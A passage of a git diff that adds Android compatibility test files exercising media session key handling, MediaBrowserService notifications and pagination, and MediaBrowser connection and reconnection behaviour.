+        if (mHdmiControlManager != null) {
+            mHdmiControlManager.setHdmiCecEnabled(mHdmiEnableStatus);
+        }
+
+        try {
+            mActivityRule.finishActivity();
+        } catch (IllegalStateException e) {
+        }
+
+        for (int stream : mStreamVolumeMap.keySet()) {
+            int volume = mStreamVolumeMap.get(stream);
+            try {
+                mAudioManager.setStreamVolume(stream, volume, /* flag= */ 0);
+            } catch (SecurityException e) {
+                Log.w(TAG, "Failed to restore volume. The test probably had changed DnD mode"
+                        + ", stream=" + stream + ", originalVolume="
+                        + volume + ", currentVolume=" + mAudioManager.getStreamVolume(stream));
+            }
+        }
+    }
+
+    /**
+     * Tests whether volume key changes volume with the session's stream.
+     */
+    @Test
+    public void testVolumeKey_whileSessionAlive() throws Exception {
+        if (mUseFixedVolume) {
+            Log.i(TAG, "testVolumeKey_whileSessionAlive skipped due to full volume device");
+            return;
+        }
+
+        final int testStream = mSession.getController().getPlaybackInfo().getAudioAttributes()
+                .getVolumeControlStream();
+        final int testKeyCode;
+        if (mStreamVolumeMap.get(testStream) == mAudioManager.getStreamMinVolume(testStream)) {
+            testKeyCode = KeyEvent.KEYCODE_VOLUME_UP;
+        } else {
+            testKeyCode = KeyEvent.KEYCODE_VOLUME_DOWN;
+        }
+
+        // The key event can be ignored and show volume panel instead. Use polling.
+        assertTrue("failed to adjust stream volume that foreground activity want",
+                pollingCheck(() -> {
+                    sendKeyEvent(testKeyCode);
+                    return mStreamVolumeMap.get(testStream)
+                            != mAudioManager.getStreamVolume(testStream);
+                }));
+    }
+
+    /**
+     * Tests whether volume key changes a stream volume even after the session is released,
+     * without being ignored.
+     */
+    @Test
+    public void testVolumeKey_afterSessionReleased() throws Exception {
+        if (mUseFixedVolume) {
+            Log.i(TAG, "testVolumeKey_afterSessionReleased skipped due to full volume device");
+            return;
+        }
+
+        mSession.release();
+
+        // The key event can be ignored and show volume panel instead. Use polling.
+        boolean downKeySuccess = pollingCheck(() -> {
+            sendKeyEvent(KeyEvent.KEYCODE_VOLUME_DOWN);
+            return checkAnyStreamVolumeChanged();
+        });
+        if (downKeySuccess) {
+            // Volume down key has changed a stream volume. Test success.
+            return;
+        }
+
+        // Volume may not have been changed because the target stream's volume level was minimum.
+        // Try again with the up key.
+        assertTrue(pollingCheck(() -> {
+            sendKeyEvent(KeyEvent.KEYCODE_VOLUME_UP);
+            return checkAnyStreamVolumeChanged();
+        }));
+    }
+
+    @Test
+    public void testMediaKey_whileSessionAlive() throws Exception {
+        int testKeyEvent = KeyEvent.KEYCODE_MEDIA_PLAY;
+
+        // Note: No extra setup for the session is needed after Activity#setMediaController().
+        // i.e. No playback nor activeness is required.
+        CountDownLatch latch = new CountDownLatch(2);
+        mSession.setCallback(new MediaSession.Callback() {
+            @Override
+            public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
+                KeyEvent event = mediaButtonIntent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+                assertEquals(testKeyEvent, event.getKeyCode());
+                latch.countDown();
+                return true;
+            }
+        }, new Handler(Looper.getMainLooper()));
+
+        sendKeyEvent(testKeyEvent);
+
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testMediaKey_whileSessionReleased() throws Exception {
+        int testKeyEvent = KeyEvent.KEYCODE_MEDIA_PLAY;
+
+        CountDownLatch latch = new CountDownLatch(1);
+        mSession.setCallback(new MediaSession.Callback() {
+            @Override
+            public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
+                fail("Released session shouldn't be able to receive key event in any case");
+                latch.countDown();
+                return true;
+            }
+        }, new Handler(Looper.getMainLooper()));
+        mSession.release();
+
+        sendKeyEvent(testKeyEvent);
+
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private void sendKeyEvent(int keyCode) {
+        final long downTime = SystemClock.uptimeMillis();
+        final KeyEvent down = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, 0);
+        final long upTime = SystemClock.uptimeMillis();
+        final KeyEvent up = new KeyEvent(downTime, upTime, KeyEvent.ACTION_UP, keyCode, 0);
+        try {
+            mInstrumentation.sendKeySync(down);
+            mInstrumentation.sendKeySync(up);
+        } catch (SecurityException e) {
+            throw new IllegalStateException(
+                "MediaSessionTestActivity isn't in the foreground."
+                        + " Ensure no screen lock before running CTS test"
+                        + ", and do not touch screen while the test is running.");
+        }
+    }
+
+    private boolean checkAnyStreamVolumeChanged() {
+        for (int stream : mStreamVolumeMap.keySet()) {
+            int volume = mStreamVolumeMap.get(stream);
+            if (mAudioManager.getStreamVolume(stream) != volume) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static boolean pollingCheck(Callable<Boolean> condition) throws Exception {
+        long pollingCount = WAIT_TIME_MS / TIME_SLICE;
+        while (!condition.call() && pollingCount-- > 0) {
+            try {
+                Thread.sleep(TIME_SLICE);
+            } catch (InterruptedException e) {
+                fail("unexpected InterruptedException");
+            }
+        }
+        return pollingCount >= 0;
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserServiceTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserServiceTest.java
new file mode 100644
index 0000000..f8c8418
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserServiceTest.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import static android.media.browse.MediaBrowser.MediaItem.FLAG_PLAYABLE;
+import static android.media.misc.cts.MediaBrowserServiceTestService.KEY_PARENT_MEDIA_ID;
+import static android.media.misc.cts.MediaBrowserServiceTestService.KEY_SERVICE_COMPONENT_NAME;
+import static android.media.misc.cts.MediaBrowserServiceTestService.TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED;
+import static android.media.misc.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
+import static android.media.misc.cts.MediaSessionTestService.STEP_CHECK;
+import static android.media.misc.cts.MediaSessionTestService.STEP_CLEAN_UP;
+import static android.media.misc.cts.MediaSessionTestService.STEP_SET_UP;
+import static android.media.cts.Utils.compareRemoteUserInfo;
+
+import android.content.ComponentName;
+import android.media.MediaDescription;
+import android.media.browse.MediaBrowser;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.os.Bundle;
+import android.os.Process;
+import android.service.media.MediaBrowserService;
+import android.service.media.MediaBrowserService.BrowserRoot;
+import android.test.InstrumentationTestCase;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link android.service.media.MediaBrowserService}.
+ */
+@NonMediaMainlineTest
+public class MediaBrowserServiceTest extends InstrumentationTestCase {
+    // The maximum time to wait for an operation.
+    private static final long TIME_OUT_MS = 3000L;
+    private static final long WAIT_TIME_FOR_NO_RESPONSE_MS = 500L;
+    private static final ComponentName TEST_BROWSER_SERVICE = new ComponentName(
+            "android.media.misc.cts", "android.media.misc.cts.StubMediaBrowserService");
+
+    private final TestCountDownLatch mOnChildrenLoadedLatch = new TestCountDownLatch();
+    private final TestCountDownLatch mOnChildrenLoadedWithOptionsLatch = new TestCountDownLatch();
+    private final TestCountDownLatch mOnItemLoadedLatch = new TestCountDownLatch();
+
+    private final MediaBrowser.SubscriptionCallback mSubscriptionCallback =
+            new MediaBrowser.SubscriptionCallback() {
+            @Override
+            public void onChildrenLoaded(String parentId, List<MediaItem> children) {
+                if (children != null) {
+                    for (MediaItem item : children) {
+                        assertRootHints(item);
+                    }
+                }
+                mOnChildrenLoadedLatch.countDown();
+            }
+
+            @Override
+            public void onChildrenLoaded(String parentId, List<MediaItem> children,
+                    Bundle options) {
+                if (children != null) {
+                    for (MediaItem item : children) {
+                        assertRootHints(item);
+                    }
+                }
+                mOnChildrenLoadedWithOptionsLatch.countDown();
+            }
+        };
+
+    private final MediaBrowser.ItemCallback mItemCallback = new MediaBrowser.ItemCallback() {
+        @Override
+        public void onItemLoaded(MediaItem item) {
+            assertRootHints(item);
+            mOnItemLoadedLatch.countDown();
+        }
+    };
+
+    private MediaBrowser mMediaBrowser;
+    private RemoteUserInfo mBrowserInfo;
+    private StubMediaBrowserService mMediaBrowserService;
+    private Bundle mRootHints;
+
+    @Override
+    public void setUp() throws Exception {
+        mRootHints = new Bundle();
+        mRootHints.putBoolean(BrowserRoot.EXTRA_RECENT, true);
+        mRootHints.putBoolean(BrowserRoot.EXTRA_OFFLINE, true);
+        mRootHints.putBoolean(BrowserRoot.EXTRA_SUGGESTED, true);
+        mBrowserInfo = new RemoteUserInfo(
+                getInstrumentation().getTargetContext().getPackageName(),
+                Process.myPid(),
+                Process.myUid());
+        mOnChildrenLoadedLatch.reset();
+        mOnChildrenLoadedWithOptionsLatch.reset();
+        mOnItemLoadedLatch.reset();
+
+        final CountDownLatch onConnectedLatch = new CountDownLatch(1);
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser = new MediaBrowser(getInstrumentation().getTargetContext(),
+                    TEST_BROWSER_SERVICE, new MediaBrowser.ConnectionCallback() {
+                @Override
+                public void onConnected() {
+                    mMediaBrowserService = StubMediaBrowserService.sInstance;
+                    onConnectedLatch.countDown();
+                }
+            }, mRootHints);
+            mMediaBrowser.connect();
+        });
+        assertTrue(onConnectedLatch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        assertNotNull(mMediaBrowserService);
+    }
+
+    @Override
+    public void tearDown() {
+        getInstrumentation().runOnMainSync(()-> {
+            if (mMediaBrowser != null) {
+                mMediaBrowser.disconnect();
+                mMediaBrowser = null;
+            }
+        });
+    }
+
+    public void testGetSessionToken() {
+        assertEquals(StubMediaBrowserService.sSession.getSessionToken(),
+                mMediaBrowserService.getSessionToken());
+    }
+
+    public void testNotifyChildrenChanged() throws Exception {
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        });
+        assertTrue(mOnChildrenLoadedLatch.await(TIME_OUT_MS));
+
+        mOnChildrenLoadedLatch.reset();
+        mMediaBrowserService.notifyChildrenChanged(StubMediaBrowserService.MEDIA_ID_ROOT);
+        assertTrue(mOnChildrenLoadedLatch.await(TIME_OUT_MS));
+    }
+
+    public void testNotifyChildrenChangedWithNullOptionsThrowsIAE() {
+        try {
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, /*options=*/ null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    public void testNotifyChildrenChangedWithPagination() {
+        final int pageSize = 5;
+        final int page = 2;
+        Bundle options = new Bundle();
+        options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+        options.putInt(MediaBrowser.EXTRA_PAGE, page);
+
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options,
+                    mSubscriptionCallback);
+        });
+        assertTrue(mOnChildrenLoadedWithOptionsLatch.await(TIME_OUT_MS));
+
+        mOnChildrenLoadedWithOptionsLatch.reset();
+        mMediaBrowserService.notifyChildrenChanged(StubMediaBrowserService.MEDIA_ID_ROOT);
+        assertTrue(mOnChildrenLoadedWithOptionsLatch.await(TIME_OUT_MS));
+
+        // Notify that the items overlapping with the given options are changed.
+        mOnChildrenLoadedWithOptionsLatch.reset();
+        final int newPageSize = 3;
+        final int overlappingNewPage = pageSize * page / newPageSize;
+        Bundle overlappingOptions = new Bundle();
+        overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, newPageSize);
+        overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, overlappingNewPage);
+        mMediaBrowserService.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT, overlappingOptions);
+        assertTrue(mOnChildrenLoadedWithOptionsLatch.await(TIME_OUT_MS));
+
+        // Notify that the items non-overlapping with the given options are changed.
+        mOnChildrenLoadedWithOptionsLatch.reset();
+        Bundle nonOverlappingOptions = new Bundle();
+        nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+        nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, page + 1);
+        mMediaBrowserService.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT, nonOverlappingOptions);
+        assertFalse(mOnChildrenLoadedWithOptionsLatch.await(WAIT_TIME_FOR_NO_RESPONSE_MS));
+    }
+
+    public void testDelayedNotifyChildrenChanged() throws Exception {
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_CHILDREN_DELAYED,
+                    mSubscriptionCallback);
+        });
+        assertFalse(mOnChildrenLoadedLatch.await(WAIT_TIME_FOR_NO_RESPONSE_MS));
+
+        mMediaBrowserService.sendDelayedNotifyChildrenChanged();
+        assertTrue(mOnChildrenLoadedLatch.await(TIME_OUT_MS));
+
+        mOnChildrenLoadedLatch.reset();
+        mMediaBrowserService.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_CHILDREN_DELAYED);
+        assertFalse(mOnChildrenLoadedLatch.await(WAIT_TIME_FOR_NO_RESPONSE_MS));
+
+        mMediaBrowserService.sendDelayedNotifyChildrenChanged();
+        assertTrue(mOnChildrenLoadedLatch.await(TIME_OUT_MS));
+    }
+
+    public void testDelayedItem() throws Exception {
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN_DELAYED,
+                    mItemCallback);
+        });
+        assertFalse(mOnItemLoadedLatch.await(WAIT_TIME_FOR_NO_RESPONSE_MS));
+
+        mMediaBrowserService.sendDelayedItemLoaded();
+        assertTrue(mOnItemLoadedLatch.await(TIME_OUT_MS));
+    }
+
+    public void testGetBrowserInfo() throws Exception {
+        // StubMediaBrowserService stores the browser info in its onGetRoot().
+        assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
+
+        StubMediaBrowserService.clearBrowserInfo();
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        });
+        assertTrue(mOnChildrenLoadedLatch.await(TIME_OUT_MS));
+        assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
+
+        StubMediaBrowserService.clearBrowserInfo();
+        getInstrumentation().runOnMainSync(()-> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        });
+        assertTrue(mOnItemLoadedLatch.await(TIME_OUT_MS));
+        assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
+    }
+
+    public void testBrowserRoot() {
+        final String id = "test-id";
+        final String key = "test-key";
+        final String val = "test-val";
+        final Bundle extras = new Bundle();
+        extras.putString(key, val);
+
+        MediaBrowserService.BrowserRoot browserRoot = new BrowserRoot(id, extras);
+        assertEquals(id, browserRoot.getRootId());
+        assertEquals(val, browserRoot.getExtras().getString(key));
+    }
+
+    /**
+     * Check that a series of {@link MediaBrowserService#notifyChildrenChanged} does not break
+     * {@link MediaBrowser} on the remote process due to binder buffer overflow.
+     */
+    public void testSeriesOfNotifyChildrenChanged() throws Exception {
+        String parentMediaId = "testSeriesOfNotifyChildrenChanged";
+        int numberOfCalls = 100;
+        int childrenSize = 1_000;
+        List<MediaItem> children = new ArrayList<>();
+        for (int id = 0; id < childrenSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            children.add(new MediaItem(description, FLAG_PLAYABLE));
+        }
+        mMediaBrowserService.putChildrenToMap(parentMediaId, children);
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(
+                ApplicationProvider.getApplicationContext(),
+                MediaBrowserServiceTestService.class,
+                TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SERVICE_COMPONENT_NAME, TEST_BROWSER_SERVICE);
+            args.putString(KEY_PARENT_MEDIA_ID, parentMediaId);
+            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * childrenSize);
+            invoker.run(STEP_SET_UP, args);
+            for (int i = 0; i < numberOfCalls; i++) {
+                mMediaBrowserService.notifyChildrenChanged(parentMediaId);
+            }
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+
+        mMediaBrowserService.removeChildrenFromMap(parentMediaId);
+    }
+
+    private void assertRootHints(MediaItem item) {
+        Bundle rootHints = item.getDescription().getExtras();
+        assertNotNull(rootHints);
+        assertEquals(mRootHints.getBoolean(BrowserRoot.EXTRA_RECENT),
+                rootHints.getBoolean(BrowserRoot.EXTRA_RECENT));
+        assertEquals(mRootHints.getBoolean(BrowserRoot.EXTRA_OFFLINE),
+                rootHints.getBoolean(BrowserRoot.EXTRA_OFFLINE));
+        assertEquals(mRootHints.getBoolean(BrowserRoot.EXTRA_SUGGESTED),
+                rootHints.getBoolean(BrowserRoot.EXTRA_SUGGESTED));
+    }
+
+    private static class TestCountDownLatch {
+        private CountDownLatch mLatch;
+
+        TestCountDownLatch() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void reset() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void countDown() {
+            mLatch.countDown();
+        }
+
+        boolean await(long timeoutMs) {
+            try {
+                return mLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserServiceTestService.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserServiceTestService.java
new file mode 100644
index 0000000..e1868823
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserServiceTestService.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.media.browse.MediaBrowser;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class MediaBrowserServiceTestService extends RemoteService {
+    public static final int TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED = 0;
+
+    public static final int STEP_SET_UP = 0;
+    public static final int STEP_CHECK = 1;
+    public static final int STEP_CLEAN_UP = 2;
+
+    public static final String KEY_SERVICE_COMPONENT_NAME = "serviceComponentName";
+    public static final String KEY_PARENT_MEDIA_ID = "parentMediaId";
+    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
+
+    private final Handler mMainHandler = new Handler(Looper.getMainLooper());
+    private MediaBrowser mMediaBrowser;
+    private CountDownLatch mAllItemsNotified;
+
+    private void testSeriesOfNotifyChildrenChanged_setUp(Bundle args) throws Exception {
+        ComponentName componentName = args.getParcelable(KEY_SERVICE_COMPONENT_NAME);
+        String parentMediaId = args.getString(KEY_PARENT_MEDIA_ID);
+        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
+
+        mAllItemsNotified = new CountDownLatch(1);
+        AtomicInteger numberOfItems = new AtomicInteger();
+        CountDownLatch subscribed = new CountDownLatch(1);
+        MediaBrowser.ConnectionCallback connectionCallback = new MediaBrowser.ConnectionCallback();
+        MediaBrowser.SubscriptionCallback subscriptionCallback =
+                new MediaBrowser.SubscriptionCallback() {
+                    @Override
+                    public void onChildrenLoaded(String parentId, List<MediaItem> children) {
+                        if (parentMediaId.equals(parentId) && children != null) {
+                            if (subscribed.getCount() > 0) {
+                                subscribed.countDown();
+                                return;
+                            }
+                            if (numberOfItems.addAndGet(children.size())
+                                    >= expectedTotalNumberOfItems) {
+                                mAllItemsNotified.countDown();
+                            }
+                        }
+                    }
+                };
+        mMainHandler.post(() -> {
+            mMediaBrowser = new MediaBrowser(this, componentName, connectionCallback, null);
+            mMediaBrowser.connect();
+            mMediaBrowser.subscribe(parentMediaId, subscriptionCallback);
+        });
+        assertTrue(subscribed.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfNotifyChildrenChanged_check() throws Exception {
+        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfNotifyChildrenChanged_cleanUp() {
+        mMainHandler.post(() -> {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        });
+        mAllItemsNotified = null;
+    }
+
+    @Override
+    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
+        if (testId == TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED) {
+            if (step == STEP_SET_UP) {
+                testSeriesOfNotifyChildrenChanged_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSeriesOfNotifyChildrenChanged_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSeriesOfNotifyChildrenChanged_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+        } else {
+            throw new IllegalArgumentException("Unknown testId=" + testId);
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserTest.java
new file mode 100644
index 0000000..8ab1b2b
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaBrowserTest.java
@@ -0,0 +1,826 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import android.content.ComponentName;
+import android.media.browse.MediaBrowser;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Bundle;
+import android.test.InstrumentationTestCase;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Test {@link android.media.browse.MediaBrowser}.
+ */
+@NonMediaMainlineTest
+public class MediaBrowserTest extends InstrumentationTestCase {
+    // The maximum time to wait for an operation.
+    private static final long TIME_OUT_MS = 3000L;
+
+    /**
+     * To check {@link MediaBrowser#unsubscribe} works properly,
+     * we notify to the browser after the unsubscription that the media items have changed.
+     * Then {@link MediaBrowser.SubscriptionCallback#onChildrenLoaded} should not be called.
+     *
+     * The measured time from calling {@link StubMediaBrowserService#notifyChildrenChanged}
+     * to {@link MediaBrowser.SubscriptionCallback#onChildrenLoaded} being called is about 50ms.
+     * So we make the thread sleep for 100ms to properly check that the callback is not called.
+     */
+    private static final long SLEEP_MS = 100L;
+    private static final ComponentName TEST_BROWSER_SERVICE = new ComponentName(
+            "android.media.misc.cts", "android.media.misc.cts.StubMediaBrowserService");
+    private static final ComponentName TEST_INVALID_BROWSER_SERVICE = new ComponentName(
+            "invalid.package", "invalid.ServiceClassName");
+    private final StubConnectionCallback mConnectionCallback = new StubConnectionCallback();
+    private final StubSubscriptionCallback mSubscriptionCallback = new StubSubscriptionCallback();
+    private final StubItemCallback mItemCallback = new StubItemCallback();
+
+    private MediaBrowser mMediaBrowser;
+
+    @Override
+    public void tearDown() {
+        if (mMediaBrowser != null) {
+            try {
+                disconnectMediaBrowser();
+            } catch (Throwable t) {
+                // Ignore.
+            }
+            mMediaBrowser = null;
+        }
+    }
+
+    public void testMediaBrowser() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        runOnMainThread(() -> {
+            assertEquals(false, mMediaBrowser.isConnected());
+        });
+
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            assertEquals(true, mMediaBrowser.isConnected());
+        });
+
+        runOnMainThread(() -> {
+            assertEquals(TEST_BROWSER_SERVICE, mMediaBrowser.getServiceComponent());
+            assertEquals(StubMediaBrowserService.MEDIA_ID_ROOT, mMediaBrowser.getRoot());
+            assertEquals(StubMediaBrowserService.EXTRAS_VALUE,
+                    mMediaBrowser.getExtras().getString(StubMediaBrowserService.EXTRAS_KEY));
+            assertEquals(StubMediaBrowserService.sSession.getSessionToken(),
+                    mMediaBrowser.getSessionToken());
+        });
+
+        disconnectMediaBrowser();
+        runOnMainThread(() -> {
+            new PollingCheck(TIME_OUT_MS) {
+                @Override
+                protected boolean check() {
+                    return !mMediaBrowser.isConnected();
+                }
+            }.run();
+        });
+    }
+
+    public void testThrowingISEWhileNotConnected() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        runOnMainThread(() -> {
+            assertEquals(false, mMediaBrowser.isConnected());
+        });
+
+        runOnMainThread(() -> {
+            try {
+                mMediaBrowser.getExtras();
+                fail();
+            } catch (IllegalStateException e) {
+                // Expected
+            }
+
+            try {
+                mMediaBrowser.getRoot();
+                fail();
+            } catch (IllegalStateException e) {
+                // Expected
+            }
+
+            try {
+                mMediaBrowser.getServiceComponent();
+                fail();
+            } catch (IllegalStateException e) {
+                // Expected
+            }
+
+            try {
+                mMediaBrowser.getSessionToken();
+                fail();
+            } catch (IllegalStateException e) {
+                // Expected
+            }
+        });
+    }
+
+    public void testConnectTwice() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        runOnMainThread(() -> {
+            try {
+                mMediaBrowser.connect();
+                fail();
+            } catch (IllegalStateException e) {
+                // expected
+            }
+        });
+    }
+
+    public void testConnectionFailed() throws Throwable {
+        resetCallbacks();
+        createMediaBrowser(TEST_INVALID_BROWSER_SERVICE);
+
+        runOnMainThread(() -> {
+            mMediaBrowser.connect();
+        });
+
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mConnectionCallback.mConnectionFailedCount > 0
+                        && mConnectionCallback.mConnectedCount == 0
+                        && mConnectionCallback.mConnectionSuspendedCount == 0;
+            }
+        }.run();
+    }
+
+    public void testReconnection() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+
+        runOnMainThread(() -> {
+            // Reconnect before the first connection was established.
+            mMediaBrowser.connect();
+            mMediaBrowser.disconnect();
+        });
+        resetCallbacks();
+        connectMediaBrowserService();
+
+        // Test subscribe.
+        resetCallbacks();
+        runOnMainThread(() -> {
+            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mSubscriptionCallback.mChildrenLoadedCount > 0;
+            }
+        }.run();
+
+        // Test getItem.
+        resetCallbacks();
+        runOnMainThread(() -> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastMediaItem != null;
+            }
+        }.run();
+
+        // Reconnect after connection was established.
+        disconnectMediaBrowser();
+        resetCallbacks();
+        connectMediaBrowserService();
+
+        // Test getItem.
+        resetCallbacks();
+        runOnMainThread(() -> {
+            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        });
+        new PollingCheck(TIME_OUT_MS) {
+            @Override
+            protected boolean check() {
+                return mItemCallback.mLastMediaItem != null;
+            }
+        }.run();
+    }
+
+    public void testConnectionCallbackNotCalledAfterDisconnect() throws Throwable {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        runOnMainThread(() -> {
+            mMediaBrowser.connect();
+            mMediaBrowser.disconnect();
+        });
+        resetCallbacks();
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        assertEquals(0, mConnectionCallback.mConnectedCount);
+        assertEquals(0, mConnectionCallback.mConnectionFailedCount);
